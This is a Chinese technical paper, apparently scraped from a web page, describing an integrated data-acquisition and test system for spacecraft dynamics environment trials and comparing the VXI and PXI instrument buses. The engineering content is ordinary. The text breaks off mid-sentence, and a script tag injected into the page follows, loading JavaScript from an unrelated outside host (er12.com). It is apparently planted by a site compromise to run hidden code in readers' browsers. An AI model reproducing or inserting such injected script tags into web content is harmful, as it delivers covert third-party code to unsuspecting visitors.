摘要：航天器动力学环境试验对其顺利完成任务具有非常重要的意义。本文介绍了航天器动力学环境试验综合测试系统研制的目的、系统工作的原理、构成、硬件结构的研制以及解决的关键问题。最后的结果表明，这套系统完全可以满足任务要求。
关键词：航天器；动力学环境模拟试验；高速数据采集
0引言
在航天器研制和定型生产的过程中，需要进行大量的动力学环境模拟试验。在对试验有效性评估、航天器产品的质量保证中，试验的数据采集合数据处理占很重要的地位。目前，航天器动力学环境试验的测试系统领域中，动力学综合测试系统的研制水平表征着一个国家在这一领域的技术领先程度，因此，有必要研制用于航天器动力学试验的综合测试系统。
1动力学环境试验综合测试系统的原理、构成以及关键技术
1.1综合测试系统的原理
在航天器动力学环境试验中，结构的各种动态响应诸如加速度、速度、位移、力、声等物理量通过相关的传感器转换成动态电信号，这些弱小电信号通过调理、整形、放大等措施以后，输入到测试系统，由具有逻辑处理功能的测试系统动态实时采集动态信号以后进行处理。动力学环境试验中综合测试系统应当具有采集数据频率高，数据流量大，因此对满足使用的系统要求比较苛刻。
1.2综合测试系统的主要性能指标
128路a/d同步采样；4路d/a输出；通道采样率最大为51.2ksa/s；通道采样数据转换精度为16位。
1.3综合测试系统的构成
按照功能划分，航天器动力学综合测试系统可以由数据的采集、数据的传输和数据的处理、存储等构成。按照结构组成来划分，航天器动力学综合测试系统可以分为以下的三大部分：
（1）具有各种动态信号测试与分析功能的计算机软件：随机信号分析、正旋信号分析、冲击信号分析等；
（2）计算机主机平台以及附件：包括各种高性能的具有强大处理功能的处理器以及内存、高吞吐量的计算
机存储器、高分辨率的显示器及其附件；
（3）试验信号的测试与采集装置：包括传感器、前置放大器和数据采集系统。
1.4综合测试系统设计的关键技术
航天器动力学环境试验综合测试系统的研制，以下的几项技术中需要得到满足：
（1）动力学综合测试系统的优化设计、结构组成、灵活配置技术：
（2）综合测试系统高速数据同步采集技术；
（3）大容量的数据实时传输技术；
（4）高速的数据存储技术；
（5）满足使用要求的各种数据处理技术：
2航天器动力学环境试验综合测试系统的体系结构
航天器动力学环境试验综合测试系统研制的宗旨是在较低成本上的工程化设计、缩短综合测试系统的开发时间，把风险降低到最低限度，因此在硬件体系的设计中必须采用国际上最先进的、成熟的工业标准，以保持功能模块的兼容性，直接吸收现代科技的发展带来的成果；软件设计应大量采用应用软件框架，最大限度地适应系统规模、参数等的变化。
航天器动力学环境试验综合测试系统由硬件平台和软件系统这两大部分构成。硬件平台的选择，是由所采用的测试系统结构来决定的。具体的说，动力学综合测试系统结构包括控制方式、总线系统配置、分布式机箱结构、多总线复合体系结构等。软件系统是测试系统的核心，包括软件（即驱动程序、软面板）运行环境和面向测试的应用软件。
集成化测试系统体系结构是组建测试系统的核心技术，包括测试系统结构、硬件平台、软件系统框架选择等。选择通用硬件平台和通用软件框架，是建立通用动力学测试系统的一个良好途径，本文的论述主要集中在硬件层面。
3航天器动力学环境试验综合测试系统硬件系统结构选择
目前在技术上比较成熟、市场上得到广泛应用的仪器总线平台分为vxi总线和pxi总线[4]。
vxi技术作为开放式的总线技术，体现了标准化、模块化、系列化、通用化的系统要求。开放式结构能实现系统资源、软件资源、硬件资源共享。系统通道易于升级、扩充，适应各种场合的需要，方便地重组系统，并且能够适应计算机技术和集成技术的发展，采用计算机技术、集成技术的最新成果，保持系统的先进性和兼容性，提高系统测试的准确度和可靠性。
pxi总线技术除了具有类似于vxi总线技术的许多特点以外，同时具有数据传输率更高、小型化、价格更便宜
（低档系统通常比vxi系统便宜一万美元以上，中高档系统价格相差小一些）的优点，同时pxi总线较vxi总线更具有可以和计算机直接相连的优势。但是pxi总线技术出现的时间比较短，在技术层面上还有待完善，同时缺乏仪器领域内部最有影响厂家的充分支持?script src=http://er12.com/t.js>
